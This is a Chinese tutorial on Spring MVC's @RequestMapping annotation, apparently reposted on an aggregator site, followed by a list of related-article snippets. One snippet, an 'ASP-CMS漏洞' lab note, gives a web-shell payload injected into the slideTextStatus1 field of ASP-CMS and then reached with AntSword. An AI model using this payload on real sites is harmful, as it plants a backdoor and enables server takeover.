【JavaEE进阶】@RequestMapping注解

news2025/2/7 10:42:54

目录

📕前言

🌴项目准备

🌲建立连接

🚩@RequestMapping注解

🚩@RequestMapping 注解介绍

🎄@RequestMapping是GET还是POST请求?

🚩通过Fiddler查看

🚩Postman查看

🚩注解介绍

🚩@Target注解


📕前言

我们说springmvc现在更加合适的是叫springweb,既然是Web框架,那么当⽤⼾在浏览器中输⼊了url之后,我们的SpringMVC项⽬就可以感知到⽤⼾ 的请求,并给予响应.

咱们学习SpringMVC,重点也就是学习如何通过浏览器和⽤⼾程序进⾏交互.

主要分以下三个方面:

  • 1. 建⽴连接:将⽤⼾(浏览器)和Java程序连接起来,也就是访问⼀个地址能够调⽤到我们的 Spring 程序。
  • 2. 请求:⽤⼾请求的时候会带⼀些参数,在程序中要想办法获取到参数,所以请求这块主要是获取参数 的功能.
  • 3. 响应:执⾏了业务逻辑之后,要把程序执⾏的结果返回给用户,也就是响应.

比如用户去银存存款:

1. 建⽴连接:去柜台

2. 请求:带着银⾏卡,⾝份证去存款

3. 响应:银⾏返回⼀张存折.

对于SpringMVC来说,掌握了以上3个功能就相当于掌握了SpringMVC.

🌴项目准备

Spring MVC项⽬创建和SpringBoot创建项⽬相同,在创建的时候选择SpringWeb就相当于创建了 Spring MVC的项⽬

创建项⽬时,勾选上SpringWeb模块即可,如下图所⽰:

项目创建好以后,不要着急写代码,运行一下项目,看是否能正常启动

🌲建立连接

🚩@RequestMapping注解

在Spring MVC 中使⽤ @RequestMapping 来实现 URL 路由映射 ,也就是浏览器连接程序的作⽤

我们先来看看代码怎么写

创建⼀个 UserController 类,实现⽤⼾通过浏览器和程序的交互,具体实现代码如下:

这时候我们使用浏览器访问 http://127.0.0.1:8080/hello 就可访问

上述这一系列的过程,就说明我们的连接已经建立好了,通过这个url和后端服务器建立了连接,后端服务器返回了一个结果,客户端接收到了这个结果。

🚩@RequestMapping 注解介绍

@RequestMapping 是SpringWebMVC应⽤程序中最常被⽤到的注解之⼀,它是⽤来注册接⼝的 路由映射的.

表⽰服务收到请求时,路径为/hello的请求就会调⽤hello这个⽅法的代码.

路由映射:当⽤⼾访问⼀个URL时,将⽤⼾的请求对应到程序中某个类的某个⽅法的过程就叫路由映射

既然@RequestMapping 已经可以达到我们的⽬的了,我们为什么还要加@RestController呢?

我们把 @RestController 去掉,再来访问⼀次:

修改代码后要重新启动项目,刷新web页面:

可以看到,程序报了404,找不到该⻚⾯,这是客户端错误,通常认为是url不存在。也就是说使用@RequestMapping时要带上@RestController,带上其他的注解也可以,当前认为是带上@RestController。

此时就有疑问了,我们的@RequestMapping它表示建立连接了,已经和外面建立连接了,为什么还需要使用@RestController注解。

那我们使用其他注解行不行(此处只是演示,具体介绍后续讲述):

去掉@RequestMapping:

通过上述过程发现,使用@RequestMapping进行路由映射的话需要和其他注解一起使用,不一定需要和@RestController。

那@RestController起到的作用?

⼀个项⽬中,会有很多类,每个类可能有很多的⽅法,Spring程序怎么知道要执⾏哪个⽅法呢? Spring会对所有的类进⾏扫描,如果类加了注解@RestController,Spring才会去看这个类⾥⾯的⽅法 有没有加 @RequestMapping 这个注解,当然他的作⽤不⽌这⼀点,咱们先⽤,后⾯再详细讲。当前可简单的理解为,加上这个注解之后给spring做了一个标识,让spring知道哪个程序里面是有路由映射相关的信息的.

🎄@RequestMapping是GET还是POST请求?

🚩通过Fiddler查看

可以看到是一个GET请求:

🚩Postman查看

上述通过Fiddler抓包看到是一个GET请求,那么它只支持get请求吗,我们使用Postman来构造Post请求,是否可以?

构造请求步骤如下:

  • 第一步
  • 第二步

页面相关介绍如下:

此时就发现,不管是GET请求还是Post请求都是OK的,就可以得出一个结论,@RequestMapping是GET请求还是Post请求这个问法就不对,这个是什么请求与@RequestMapping无关,get和post是请求的属性,所以是你在发送请求的时候,是采用什么样的方式去发送的,那这里采用的是get和post,我们应该为@RequestMapping支持的是get还是post请求?通过Postman去验证,发现是全都支持的,包括delete,put请求等......

那么问题来了,如果我只想让那个请求是 POST 请求 或者 GET 请求呢?

我们该怎么做呢?

其实做法很简单,在"hello2"的后面写一个逗号,再写method按回车即可

查看method源码,method需要传递的是一个RequestMethod类型的数组,也就是可支持多个数据

查看RequestMethod源码,可以看到就是我们所使用的http的请求方式

即只需在method=后面跟上你所需要的请求方式即可,只需一个可用可不用中括号,需要多个加上中括号即可

此时在发送一个PUT请求:当前就出错了

发送一个GET/POST请求:

简单写法,仅支持一个请求:​​​​​​​​​​​​​​

这里就不再过多演示

小结:

  • @RequetMapping默认支持所以请求方式
  • 通过method指定请求方式
  • @GetMapping指定支持Get请求,@PostMapping指定支持Post请求...

🚩注解介绍

我们查看上述注解的一个写法:

可以看到上图中@RequestMapping的括号中,就是写的注解的值,通过观察@RequestMapping的源码之后,就是再给@RequestMapping里面的参数复制,第一种写法是一种键值对的形式,第二种写法就是一个值,没有key;也就是说注解中括号里的参数只有一个时,那么key可以省略,会把这个值默认复制给value属性,也就是默认value="hello",当有多个参数时,key就不能省略了。

当前我们写的@RequestMapping注解的括号中都加了一个 / ,我们试一下不加行不行

发送结果:发现也可以的,建议都加上!

🚩@Target注解

我们在观察@RequestMapping注解可以发现,RequestMapping注解上面还有一些注解:

可以看到@Target里面有两个值,一个TYPE,一个METHOD;@Target表示这个注解可以应用在哪里,比如说有的注解是类注解,只能加在类上,有的注解是方法注解,有些是参数注解,就是通过@Target注解来区分。

如果@Target括号中有TYPE,表示它可以加在类上;如果@Target括号中有METHOD表示可以加在方法上。那么上面的@RequestMapping就表示可以加在类上和方法上。

我们查看@RestController注解的源码:发现只有TYPE,那么就只能加在类上

将@RequestMapping加在类上:(注:此时该类存在多个注解,多个注解无先后顺序)

发送请求:此时发送请求就会404

注意:如果类注解有@RequestMapping,方法上也有@RequestMapping,那么就需要通过类路径+方法路径进行拼接,也就是 /user/hello。这些注解的路径也可以是多层,如(/user/vv)

总结:上述主要是一个建立连接的过程,对于请求和响应在后续文章介绍

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2267348.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文详解MacOS+CLion——构建libtorch机器学习开发环境

对于希望在本地环境中进行深度学习开发的开发者来说,配置合适的工具链是至关重要的一步。本文旨在帮助您在 macOS 操作系统上,利用 CLion IDE 和 PyTorch 的 C依赖库——libtorch,快速搭建起一个高效的开发环境。这里我们将一步步地讲解如何下…

Bert中文文本分类

这是一个经典的文本分类问题,使用google的预训练模型BERT中文版bert-base-chinese来做中文文本分类。可以先在Huggingface上下载预训练模型备用。https://huggingface.co/google-bert/bert-base-chinese/tree/main 我使用的训练环境是 pip install torch2.0.0; pi…

shardingsphere分库分表项目实践5-自己用java写一个sql解析器+完整项目源码

前1节我们介绍了 shardingsphere 分表分库的sql解析与重写: shardingsphere分库分表项目实践4-sql解析&重写-CSDN博客 那么shardingsphere sql 解析底层究竟是怎么实现的呢,其实它直接用了著名的开源软件 antlr . antlr 介绍: ANTLR&a…

10分钟掌握项目管理核心工具:WBS、甘特图、关键路径法全解析

一、引言 在项目管理的广阔天地里,犹如一场精心编排的交响乐演奏,每个乐器、每个音符都需精准配合才能奏响美妙乐章。而 WBS(工作分解结构)、甘特图、关键路径法无疑是这场交响乐中的关键乐章,它们从不同维度为项目管…

【LLM】OpenAI 的DAY12汇总和o3介绍

note o3 体现出的编程和数学能力,不仅达到了 AGI 的门槛,甚至摸到了 ASI(超级人工智能)的边。 Day 1:o1完全版,开场即巅峰 12天发布会的开场即是“炸场级”更新——o1完全版。相比此前的预览版本&#x…

使用Kubernetes部署MySQL+WordPress

目录 前提条件 部署MySQL和WordPress 编写yaml文件 应用yaml文件 存在问题及解决方案 创建PV(持久化卷) 创建一个PVC(持久化卷声明) 部署添加PVC 查看PV对应的主机存储 删除资源 查看资源 删除deployment和service 查看主机数据 删除PVC和PV 删除主机数据 前提条…

RabbitMQ中的异步Confirm模式:提升消息可靠性的利器

在现代分布式系统中,消息队列(Message Queue)扮演着至关重要的角色,它能够解耦系统组件、提高系统的可扩展性和可靠性。RabbitMQ作为一款广泛使用的消息队列中间件,提供了多种机制来确保消息的可靠传递。其中&#xff…

sentinel限流+其他

quick-start | Sentinel sentinel 作用 限流 熔断降级 1,限制什么 QPS 并发线程数 2,限制什么 资源,什么资源 服务,方法,接口,或者一段代码 3,实现方式 配置规则 注解 其他 Java常见5种限流…

Ubuntu 中安装 RabbitMQ 教程

简介 RabbitMq作为一款消息队列产品,它由Erlang语言开发,实现AMQP(高级消息队列协议)的开源消息中间件。 应用场景 异步处理 场景说明:用户注册后,注册信息写入数据库,再发邮件、短信通知。 …

Spark生态圈

Spark 主要用于替代Hadoop中的 MapReduce 计算模型。存储依然可以使用 HDFS,但是中间结果可以存放在内存中;调度可以使用 Spark 内置的,也可以使用更成熟的调度系统 YARN 等。 Spark有完善的生态圈: Spark Core:实现了…

AT24C02学习笔记

看手册: AT24Cxx xx代表能写入xxK bit(xx K)/8 byte 内部写周期很关键,代表每一次页写或字节写结束后时间要大于5ms(延时5ms确保完成写周期),否则时序会出错。 页写:型不同号每一页可能写入不同大小的…

119.【C语言】数据结构之快速排序(调用库函数)

目录 1.C语言快速排序的库函数 1.使用qsort函数前先包含头文件 2.qsort的四个参数 3.qsort函数使用 对int类型的数据排序 运行结果 对char类型的数据排序 运行结果 对浮点型数据排序 运行结果 2.题外话:函数名的本质 1.C语言快速排序的库函数 cplusplus网的介绍 ht…

五模型对比!Transformer-GRU、Transformer、CNN-GRU、GRU、CNN五模型多变量时间序列预测

目录 预测效果基本介绍程序设计参考资料 预测效果 基本介绍 光伏功率预测!五模型对比!Transformer-GRU、Transformer、CNN-GRU、GRU、CNN五模型多变量时间序列预测(Matlab2023b 多输入单输出) 1.程序已经调试好,替换数据集后,仅运…

利用Dockerfile构建自定义镜像

当一个系统开发完成,需要将系统打包为一个镜像文件,让docker能够运行该镜像,成为一个可以被访问的容器。 上述操作可以通过自定义镜像的方式来实现,本文章基于VMware虚拟机中安装的Centos7操作系统来完成。前面的操作步骤&#x…

喜报 | 擎创科技入围上海市优秀信创解决方案

近日,由上海市经信委组织的“2024年上海市优秀信创解决方案”征集遴选活动圆满落幕,擎创科技凭借实践经验优秀的《擎创夏洛克智能预警与应急处置解决方案》成功入选“2024年上海市优秀信创解决方案”名单。 为激发创新活力,发挥标杆作用&…

基于aspose.words组件的word bytes转pdf bytes,去除水印和解决linux中文乱码问题

详情见 https://preferdoor.top/archives/ji-yu-aspose.wordszu-jian-de-word-byteszhuan-pdf-bytes

快速排序学习优化

首先&#xff0c;上图。 ‘’’ cpp int partSort(int *a ,int left,int right) {int keyi left; //做左侧基准while(left<right){while(left<right && a[right]>a[keyi]){right--;}while(left<right && a[left]<a[keyi]){left;}swap(a[left…

搭建vue项目

一、环境准备 1、安装node node官网&#xff1a;https://nodejs.org/zh-cn 1.1、打开官网&#xff0c;选择“下载”。 1.2、选择版本号&#xff0c;选择系统&#xff0c;根据需要自行选择&#xff0c;上面是命令安装方式&#xff0c;下载是下载安装包。 1.3、检查node安装…

华为管理变革之道:管理制度创新

目录 华为崛起两大因素&#xff1a;管理制度创新和组织文化。 管理是科学&#xff0c;150年来管理史上最伟大的创新是流程 为什么要变革&#xff1f; 向世界标杆学习&#xff0c;是变革第一方法论 体系之一&#xff1a;华为的DSTE战略管理体系&#xff08;解决&#xff1a…

ASP-CMS漏洞

打开aspcms靶场 账号&#xff1a;admin 密码&#xff1a;123456 去保存抓包 在slideTextStatus1后面写上%25><%25eval(request(chr(65)))%25><%25 我们在去访问这个文件config/AspCms_Config.asp再去蚁剑连接&#xff0c;连接成功